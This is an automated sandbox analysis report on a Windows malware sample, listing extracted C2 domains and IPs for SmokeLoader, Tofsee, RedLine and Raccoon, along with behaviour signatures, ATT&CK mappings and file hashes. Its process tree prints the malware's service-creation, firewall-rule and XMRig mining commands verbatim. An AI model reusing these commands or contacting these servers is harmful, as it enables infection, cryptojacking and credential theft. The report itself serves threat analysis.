Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    08-11-2021 14:39

General

  • Target

    040d9a95f9e954e29ceb2469fcf3a9e9.exe

  • Size

    228KB

  • MD5

    040d9a95f9e954e29ceb2469fcf3a9e9

  • SHA1

    e04f9f919575e694dc4fe2f7f4646fc3440457b5

  • SHA256

    b6a1ce3e1d1dfa3057e7473c9219ba29218014de81c922ad38e96800c1f388e7

  • SHA512

    6fd2ae969ea6e3184929aa8e04a024432a135523a9508acf0372b2821660df1aace14a97de195101a6f2af0667ad4b7b64b60b3c414cac9a30079485f6bd4669

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://nalirou70.top/

http://xacokuo80.top/

http://nusurtal4f.net/

http://netomishnetojuk.net/

http://escalivrouter.net/

http://nick22doom4.net/

http://wrioshtivsio.su/

http://nusotiso4.su/

http://rickkhtovkka.biz/

http://palisotoliso.net/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

redline

Botnet

SuperStar

C2

185.215.113.29:36224

Extracted

Family

raccoon

Version

1.8.3

Botnet

a741159db87f9df2b687764994c63c4c859ea476

Attributes
  • url4cnc

    http://178.23.190.57/hiioBlacklight1

    http://91.219.236.162/hiioBlacklight1

    http://185.163.47.176/hiioBlacklight1

    http://193.38.54.238/hiioBlacklight1

    http://74.119.192.122/hiioBlacklight1

    http://91.219.236.240/hiioBlacklight1

    https://t.me/hiioBlacklight1

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

zolosad

C2

65.108.55.203:56717

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe
    "C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1248
    • C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe
      "C:\Users\Admin\AppData\Local\Temp\040d9a95f9e954e29ceb2469fcf3a9e9.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:660
  • C:\Users\Admin\AppData\Local\Temp\71F5.exe
    C:\Users\Admin\AppData\Local\Temp\71F5.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Users\Admin\AppData\Local\Temp\71F5.exe
      C:\Users\Admin\AppData\Local\Temp\71F5.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1820
  • C:\Users\Admin\AppData\Local\Temp\80E4.exe
    C:\Users\Admin\AppData\Local\Temp\80E4.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1256
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\axahxxbr\
      2⤵
        PID:828
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oupsbkkf.exe" C:\Windows\SysWOW64\axahxxbr\
        2⤵
          PID:1212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create axahxxbr binPath= "C:\Windows\SysWOW64\axahxxbr\oupsbkkf.exe /d\"C:\Users\Admin\AppData\Local\Temp\80E4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1956
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description axahxxbr "wifi internet conection"
            2⤵
              PID:752
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start axahxxbr
              2⤵
                PID:748
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1980
              • C:\Users\Admin\AppData\Local\Temp\91E5.exe
                C:\Users\Admin\AppData\Local\Temp\91E5.exe
                1⤵
                • Executes dropped EXE
                PID:1960
              • C:\Windows\SysWOW64\axahxxbr\oupsbkkf.exe
                C:\Windows\SysWOW64\axahxxbr\oupsbkkf.exe /d"C:\Users\Admin\AppData\Local\Temp\80E4.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1592
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1612
              • C:\Users\Admin\AppData\Local\Temp\9CCF.exe
                C:\Users\Admin\AppData\Local\Temp\9CCF.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:616
              • C:\Users\Admin\AppData\Local\Temp\B1F5.exe
                C:\Users\Admin\AppData\Local\Temp\B1F5.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1924
                • C:\Users\Admin\AppData\Local\Temp\B1F5.exe
                  C:\Users\Admin\AppData\Local\Temp\B1F5.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1512
              • C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                1⤵
                • Executes dropped EXE
                PID:1672
                • C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                  C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                  2⤵
                    PID:1900
                • C:\Users\Admin\AppData\Local\Temp\ED23.exe
                  C:\Users\Admin\AppData\Local\Temp\ED23.exe
                  1⤵
                    PID:1916
                  • C:\Users\Admin\AppData\Local\Temp\1933.exe
                    C:\Users\Admin\AppData\Local\Temp\1933.exe
                    1⤵
                      PID:1440

                    Network

                    MITRE ATT&CK Matrix ATT&CK v6

                    Persistence

                    New Service

                    1
                    T1050

                    Modify Existing Service

                    1
                    T1031

                    Registry Run Keys / Startup Folder

                    1
                    T1060

                    Privilege Escalation

                    New Service

                    1
                    T1050

                    Defense Evasion

                    Disabling Security Tools

                    1
                    T1089

                    Modify Registry

                    2
                    T1112

                    Discovery

                    System Information Discovery

                    2
                    T1082

                    Query Registry

                    1
                    T1012

                    Peripheral Device Discovery

                    1
                    T1120

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\1933.exe
                      MD5

                      0dd386e2ac96f7ddd2206510b6d74663

                      SHA1

                      7e4b8f180047821a84f530dcbfed6164f117b630

                      SHA256

                      c6abcdeac0d459de9d7ca2c3a65226710cb9656138c4b4bdc08c1546688c3675

                      SHA512

                      fe2e34d130aec32c68962653116c6bfde043c44ac8865be75382991e343b04a11a79aae9c4fb75b6983bc1071e6547a1e26da98c844773ae51b0b39b5f72b732

                    • C:\Users\Admin\AppData\Local\Temp\71F5.exe
                      MD5

                      6db4e9f22d883df1778c478f98a6ca62

                      SHA1

                      cf2a4304648c01db83089cde7ead7d95834211c2

                      SHA256

                      db2de8133f8e919114507b7d8ac93f5db3fe16521c422fae6149f2e04527798f

                      SHA512

                      2078fcef22d2a34069e7122dec245182c256bf91ebaae308fed9320d282b666caa56edb79952e749d32d257f972158da8f97ef9c5e579797d9433cea89cfaaf6

                    • C:\Users\Admin\AppData\Local\Temp\71F5.exe
                      MD5

                      6db4e9f22d883df1778c478f98a6ca62

                      SHA1

                      cf2a4304648c01db83089cde7ead7d95834211c2

                      SHA256

                      db2de8133f8e919114507b7d8ac93f5db3fe16521c422fae6149f2e04527798f

                      SHA512

                      2078fcef22d2a34069e7122dec245182c256bf91ebaae308fed9320d282b666caa56edb79952e749d32d257f972158da8f97ef9c5e579797d9433cea89cfaaf6

                    • C:\Users\Admin\AppData\Local\Temp\71F5.exe
                      MD5

                      6db4e9f22d883df1778c478f98a6ca62

                      SHA1

                      cf2a4304648c01db83089cde7ead7d95834211c2

                      SHA256

                      db2de8133f8e919114507b7d8ac93f5db3fe16521c422fae6149f2e04527798f

                      SHA512

                      2078fcef22d2a34069e7122dec245182c256bf91ebaae308fed9320d282b666caa56edb79952e749d32d257f972158da8f97ef9c5e579797d9433cea89cfaaf6

                    • C:\Users\Admin\AppData\Local\Temp\80E4.exe
                      MD5

                      2b77cc45322086036b538f59a827b9ae

                      SHA1

                      d7676037dbec7e08a46480faa5c375ac9be99769

                      SHA256

                      384bf36c4d8db61f2638159f9927a3432b1d79ece0281d24369717a112c9dc35

                      SHA512

                      09f958f600328daa4cd1a41b7763b92295355b8f2a5f2638413cc73a0f62cc5095a067022158377dd79f65e15f311ed003a591597c278b8573f737719cfd8e70

                    • C:\Users\Admin\AppData\Local\Temp\80E4.exe
                      MD5

                      2b77cc45322086036b538f59a827b9ae

                      SHA1

                      d7676037dbec7e08a46480faa5c375ac9be99769

                      SHA256

                      384bf36c4d8db61f2638159f9927a3432b1d79ece0281d24369717a112c9dc35

                      SHA512

                      09f958f600328daa4cd1a41b7763b92295355b8f2a5f2638413cc73a0f62cc5095a067022158377dd79f65e15f311ed003a591597c278b8573f737719cfd8e70

                    • C:\Users\Admin\AppData\Local\Temp\91E5.exe
                      MD5

                      ec7ad2ab3d136ace300b71640375087c

                      SHA1

                      1e2147b61a1be5671d24696212c9d15d269be713

                      SHA256

                      a280a28edbfaac0472252455550c283c3f44f2daf0ac0a59ddd48deb7cbbeee8

                      SHA512

                      b642ae118bbe5235473ab12a9383ba8c23606e32627292964a215df376886c03928349de217ea42500d050ec5fee540fd593f95a65a598041eae1fcac5d0bc3e

                    • C:\Users\Admin\AppData\Local\Temp\91E5.exe
                      MD5

                      ec7ad2ab3d136ace300b71640375087c

                      SHA1

                      1e2147b61a1be5671d24696212c9d15d269be713

                      SHA256

                      a280a28edbfaac0472252455550c283c3f44f2daf0ac0a59ddd48deb7cbbeee8

                      SHA512

                      b642ae118bbe5235473ab12a9383ba8c23606e32627292964a215df376886c03928349de217ea42500d050ec5fee540fd593f95a65a598041eae1fcac5d0bc3e

                    • C:\Users\Admin\AppData\Local\Temp\9CCF.exe
                      MD5

                      08cb82859479b33dc1d0738b985db28c

                      SHA1

                      2162cec3e4a16e4b9c610004011473965cf300f8

                      SHA256

                      8db223a1ffa1b3b3788ee9f0e050cc64f7b5cbefa8745e95e00391f7babcce58

                      SHA512

                      a69a4eacb8ced14dc55fca39d43d6182fe8d600d4da9fb938298fc151866a26777b45a527bcb2cc099d734111dbeb70224ed16e9b590c8b76b057b905eb7c912

                    • C:\Users\Admin\AppData\Local\Temp\B1F5.exe
                      MD5

                      5e00b647152c295f6d518532cdbcec9d

                      SHA1

                      0d195b468ecf9c16cf996f13b62f50df63cafc29

                      SHA256

                      47ee92db5a378a056b6bac7e46085428e081c7550f7ebee11c9cce9429959687

                      SHA512

                      ddfea53869a2fa39564ebe075430f675305ec92e7f628708a5d907367767384bfa8a8381404beff8655859bc6da128d5ddecdb70ae2dcfd12a7bb30a75c22e83

                    • C:\Users\Admin\AppData\Local\Temp\B1F5.exe
                      MD5

                      5e00b647152c295f6d518532cdbcec9d

                      SHA1

                      0d195b468ecf9c16cf996f13b62f50df63cafc29

                      SHA256

                      47ee92db5a378a056b6bac7e46085428e081c7550f7ebee11c9cce9429959687

                      SHA512

                      ddfea53869a2fa39564ebe075430f675305ec92e7f628708a5d907367767384bfa8a8381404beff8655859bc6da128d5ddecdb70ae2dcfd12a7bb30a75c22e83

                    • C:\Users\Admin\AppData\Local\Temp\B1F5.exe
                      MD5

                      5e00b647152c295f6d518532cdbcec9d

                      SHA1

                      0d195b468ecf9c16cf996f13b62f50df63cafc29

                      SHA256

                      47ee92db5a378a056b6bac7e46085428e081c7550f7ebee11c9cce9429959687

                      SHA512

                      ddfea53869a2fa39564ebe075430f675305ec92e7f628708a5d907367767384bfa8a8381404beff8655859bc6da128d5ddecdb70ae2dcfd12a7bb30a75c22e83

                    • C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                      MD5

                      bde1dbafbe609f7da66db66356d8f9e3

                      SHA1

                      a82f4a80f7f0849ecc021855fcbfbf3220982d06

                      SHA256

                      d17dadc2bb57905c88308f79228810b1f7fd28dfafe07717e2b4bf0d8e014f86

                      SHA512

                      fa4bc50784e84e1466a055e1a14a46b54903dfe0e3c557bed19f2c003486a9196bf4917c73fac087b471669dd42eebcb7550b0fb18cb8ee3baa2763d4e94c4eb

                    • C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                      MD5

                      bde1dbafbe609f7da66db66356d8f9e3

                      SHA1

                      a82f4a80f7f0849ecc021855fcbfbf3220982d06

                      SHA256

                      d17dadc2bb57905c88308f79228810b1f7fd28dfafe07717e2b4bf0d8e014f86

                      SHA512

                      fa4bc50784e84e1466a055e1a14a46b54903dfe0e3c557bed19f2c003486a9196bf4917c73fac087b471669dd42eebcb7550b0fb18cb8ee3baa2763d4e94c4eb

                    • C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                      MD5

                      bde1dbafbe609f7da66db66356d8f9e3

                      SHA1

                      a82f4a80f7f0849ecc021855fcbfbf3220982d06

                      SHA256

                      d17dadc2bb57905c88308f79228810b1f7fd28dfafe07717e2b4bf0d8e014f86

                      SHA512

                      fa4bc50784e84e1466a055e1a14a46b54903dfe0e3c557bed19f2c003486a9196bf4917c73fac087b471669dd42eebcb7550b0fb18cb8ee3baa2763d4e94c4eb

                    • C:\Users\Admin\AppData\Local\Temp\ED23.exe
                      MD5

                      65ecbb1c38b4ac891d8a90870e115398

                      SHA1

                      78e3f1782d238b6375224a3ce7793b1cb08a95d4

                      SHA256

                      58c1b22873a1eab4f8a7cc5a26085a2968637eaa3f22e7cbe8032ad6f25bbd38

                      SHA512

                      a95b0ccaecdf007c4590efde4e56ec4e65b8d900e2070726393b912f4ef37b3761a641e7c85dfe8a9698f1bf9864afc8613d956e14414d5a0c78c00aa17a7dd9

                    • C:\Users\Admin\AppData\Local\Temp\oupsbkkf.exe
                      MD5

                      be8f770ab2edcb4946024b31591dc6d3

                      SHA1

                      e10520c18e262d83c774b62b79c3c4c932553aa1

                      SHA256

                      99e958b3e18dd7ce869781d122142a8923cd8a1e5cec203f96f867c55277fc34

                      SHA512

                      4b12d0d957135cb4078099eb1c7e48dcfdfd297f080c7bfa8fbb606403833fad89d9d89126b1d609f68a38fa221f3b34d6047decc422a2dc458b4b91cdc4acbd

                    • C:\Windows\SysWOW64\axahxxbr\oupsbkkf.exe
                      MD5

                      be8f770ab2edcb4946024b31591dc6d3

                      SHA1

                      e10520c18e262d83c774b62b79c3c4c932553aa1

                      SHA256

                      99e958b3e18dd7ce869781d122142a8923cd8a1e5cec203f96f867c55277fc34

                      SHA512

                      4b12d0d957135cb4078099eb1c7e48dcfdfd297f080c7bfa8fbb606403833fad89d9d89126b1d609f68a38fa221f3b34d6047decc422a2dc458b4b91cdc4acbd

                    • \Users\Admin\AppData\Local\Temp\1105.tmp
                      MD5

                      d124f55b9393c976963407dff51ffa79

                      SHA1

                      2c7bbedd79791bfb866898c85b504186db610b5d

                      SHA256

                      ea1e16247c848c8c171c4cd1fa17bc5a018a1fcb0c0dac25009066b6667b8eef

                      SHA512

                      278fe3a4b1fbbe700e4f4483b610133e975e36e101455661d5197bd892a68839b9d555499040d200c92aefa9e3819380e395c0cd85d5fc845c6364d128a8cf06

                    • \Users\Admin\AppData\Local\Temp\71F5.exe
                      MD5

                      6db4e9f22d883df1778c478f98a6ca62

                      SHA1

                      cf2a4304648c01db83089cde7ead7d95834211c2

                      SHA256

                      db2de8133f8e919114507b7d8ac93f5db3fe16521c422fae6149f2e04527798f

                      SHA512

                      2078fcef22d2a34069e7122dec245182c256bf91ebaae308fed9320d282b666caa56edb79952e749d32d257f972158da8f97ef9c5e579797d9433cea89cfaaf6

                    • \Users\Admin\AppData\Local\Temp\B1F5.exe
                      MD5

                      5e00b647152c295f6d518532cdbcec9d

                      SHA1

                      0d195b468ecf9c16cf996f13b62f50df63cafc29

                      SHA256

                      47ee92db5a378a056b6bac7e46085428e081c7550f7ebee11c9cce9429959687

                      SHA512

                      ddfea53869a2fa39564ebe075430f675305ec92e7f628708a5d907367767384bfa8a8381404beff8655859bc6da128d5ddecdb70ae2dcfd12a7bb30a75c22e83

                    • \Users\Admin\AppData\Local\Temp\D9F0.exe
                      MD5

                      bde1dbafbe609f7da66db66356d8f9e3

                      SHA1

                      a82f4a80f7f0849ecc021855fcbfbf3220982d06

                      SHA256

                      d17dadc2bb57905c88308f79228810b1f7fd28dfafe07717e2b4bf0d8e014f86

                      SHA512

                      fa4bc50784e84e1466a055e1a14a46b54903dfe0e3c557bed19f2c003486a9196bf4917c73fac087b471669dd42eebcb7550b0fb18cb8ee3baa2763d4e94c4eb

                    • memory/616-102-0x0000000000220000-0x0000000000228000-memory.dmp
                      Filesize

                      32KB

                    • memory/616-104-0x0000000000400000-0x0000000000442000-memory.dmp
                      Filesize

                      264KB

                    • memory/616-94-0x0000000000000000-mapping.dmp
                    • memory/616-103-0x0000000000230000-0x0000000000239000-memory.dmp
                      Filesize

                      36KB

                    • memory/660-56-0x0000000000402DC6-mapping.dmp
                    • memory/660-57-0x0000000074F61000-0x0000000074F63000-memory.dmp
                      Filesize

                      8KB

                    • memory/660-55-0x0000000000400000-0x0000000000408000-memory.dmp
                      Filesize

                      32KB

                    • memory/748-83-0x0000000000000000-mapping.dmp
                    • memory/752-82-0x0000000000000000-mapping.dmp
                    • memory/828-77-0x0000000000000000-mapping.dmp
                    • memory/936-99-0x0000000000400000-0x0000000000447000-memory.dmp
                      Filesize

                      284KB

                    • memory/1212-78-0x0000000000000000-mapping.dmp
                    • memory/1248-59-0x00000000001D0000-0x00000000001D9000-memory.dmp
                      Filesize

                      36KB

                    • memory/1248-58-0x00000000001C0000-0x00000000001C8000-memory.dmp
                      Filesize

                      32KB

                    • memory/1256-76-0x0000000000400000-0x0000000000447000-memory.dmp
                      Filesize

                      284KB

                    • memory/1256-70-0x0000000000000000-mapping.dmp
                    • memory/1256-75-0x0000000000250000-0x0000000000263000-memory.dmp
                      Filesize

                      76KB

                    • memory/1256-74-0x0000000000230000-0x000000000023D000-memory.dmp
                      Filesize

                      52KB

                    • memory/1368-81-0x0000000002BF0000-0x0000000002C06000-memory.dmp
                      Filesize

                      88KB

                    • memory/1368-60-0x00000000029A0000-0x00000000029B6000-memory.dmp
                      Filesize

                      88KB

                    • memory/1368-110-0x0000000003D40000-0x0000000003D56000-memory.dmp
                      Filesize

                      88KB

                    • memory/1440-155-0x00000000047C1000-0x00000000047C2000-memory.dmp
                      Filesize

                      4KB

                    • memory/1440-154-0x0000000000400000-0x000000000046F000-memory.dmp
                      Filesize

                      444KB

                    • memory/1440-150-0x0000000001CE0000-0x0000000001D0E000-memory.dmp
                      Filesize

                      184KB

                    • memory/1440-156-0x00000000047C2000-0x00000000047C3000-memory.dmp
                      Filesize

                      4KB

                    • memory/1440-151-0x0000000001DF0000-0x0000000001E1C000-memory.dmp
                      Filesize

                      176KB

                    • memory/1440-153-0x0000000000250000-0x0000000000289000-memory.dmp
                      Filesize

                      228KB

                    • memory/1440-148-0x0000000000000000-mapping.dmp
                    • memory/1440-157-0x00000000047C3000-0x00000000047C4000-memory.dmp
                      Filesize

                      4KB

                    • memory/1512-116-0x0000000000400000-0x0000000000433000-memory.dmp
                      Filesize

                      204KB

                    • memory/1512-109-0x0000000000400000-0x0000000000433000-memory.dmp
                      Filesize

                      204KB

                    • memory/1512-112-0x000000000040CD2F-mapping.dmp
                    • memory/1512-117-0x00000000049D1000-0x00000000049D2000-memory.dmp
                      Filesize

                      4KB

                    • memory/1512-118-0x00000000049D2000-0x00000000049D3000-memory.dmp
                      Filesize

                      4KB

                    • memory/1512-130-0x00000000049D4000-0x00000000049D6000-memory.dmp
                      Filesize

                      8KB

                    • memory/1512-115-0x0000000000530000-0x000000000054C000-memory.dmp
                      Filesize

                      112KB

                    • memory/1512-127-0x0000000001ED0000-0x0000000001EEB000-memory.dmp
                      Filesize

                      108KB

                    • memory/1512-126-0x00000000049D3000-0x00000000049D4000-memory.dmp
                      Filesize

                      4KB

                    • memory/1592-90-0x0000000000080000-0x0000000000095000-memory.dmp
                      Filesize

                      84KB

                    • memory/1592-91-0x0000000000080000-0x0000000000095000-memory.dmp
                      Filesize

                      84KB

                    • memory/1592-92-0x0000000000089A6B-mapping.dmp
                    • memory/1612-124-0x000000000011259C-mapping.dmp
                    • memory/1612-120-0x0000000000080000-0x0000000000171000-memory.dmp
                      Filesize

                      964KB

                    • memory/1612-119-0x0000000000080000-0x0000000000171000-memory.dmp
                      Filesize

                      964KB

                    • memory/1672-132-0x00000000004C0000-0x0000000000543000-memory.dmp
                      Filesize

                      524KB

                    • memory/1672-131-0x0000000000220000-0x0000000000297000-memory.dmp
                      Filesize

                      476KB

                    • memory/1672-128-0x0000000000000000-mapping.dmp
                    • memory/1672-133-0x0000000000400000-0x00000000004B6000-memory.dmp
                      Filesize

                      728KB

                    • memory/1672-143-0x00000000005B0000-0x0000000000620000-memory.dmp
                      Filesize

                      448KB

                    • memory/1672-142-0x0000000000390000-0x00000000003F3000-memory.dmp
                      Filesize

                      396KB

                    • memory/1820-66-0x0000000000402DC6-mapping.dmp
                    • memory/1864-61-0x0000000000000000-mapping.dmp
                    • memory/1864-69-0x0000000000220000-0x0000000000228000-memory.dmp
                      Filesize

                      32KB

                    • memory/1900-138-0x0000000000400000-0x0000000000491000-memory.dmp
                      Filesize

                      580KB

                    • memory/1900-146-0x0000000000400000-0x0000000000491000-memory.dmp
                      Filesize

                      580KB

                    • memory/1900-139-0x0000000000402998-mapping.dmp
                    • memory/1916-140-0x000000000026D000-0x00000000002BC000-memory.dmp
                      Filesize

                      316KB

                    • memory/1916-147-0x0000000000400000-0x0000000000937000-memory.dmp
                      Filesize

                      5.2MB

                    • memory/1916-145-0x00000000009A0000-0x0000000000A2F000-memory.dmp
                      Filesize

                      572KB

                    • memory/1916-134-0x0000000000000000-mapping.dmp
                    • memory/1924-113-0x0000000000250000-0x0000000000280000-memory.dmp
                      Filesize

                      192KB

                    • memory/1924-111-0x0000000000220000-0x0000000000242000-memory.dmp
                      Filesize

                      136KB

                    • memory/1924-105-0x0000000000000000-mapping.dmp
                    • memory/1956-80-0x0000000000000000-mapping.dmp
                    • memory/1960-96-0x0000000000180000-0x0000000000181000-memory.dmp
                      Filesize

                      4KB

                    • memory/1960-84-0x0000000000000000-mapping.dmp
                    • memory/1980-87-0x0000000000000000-mapping.dmp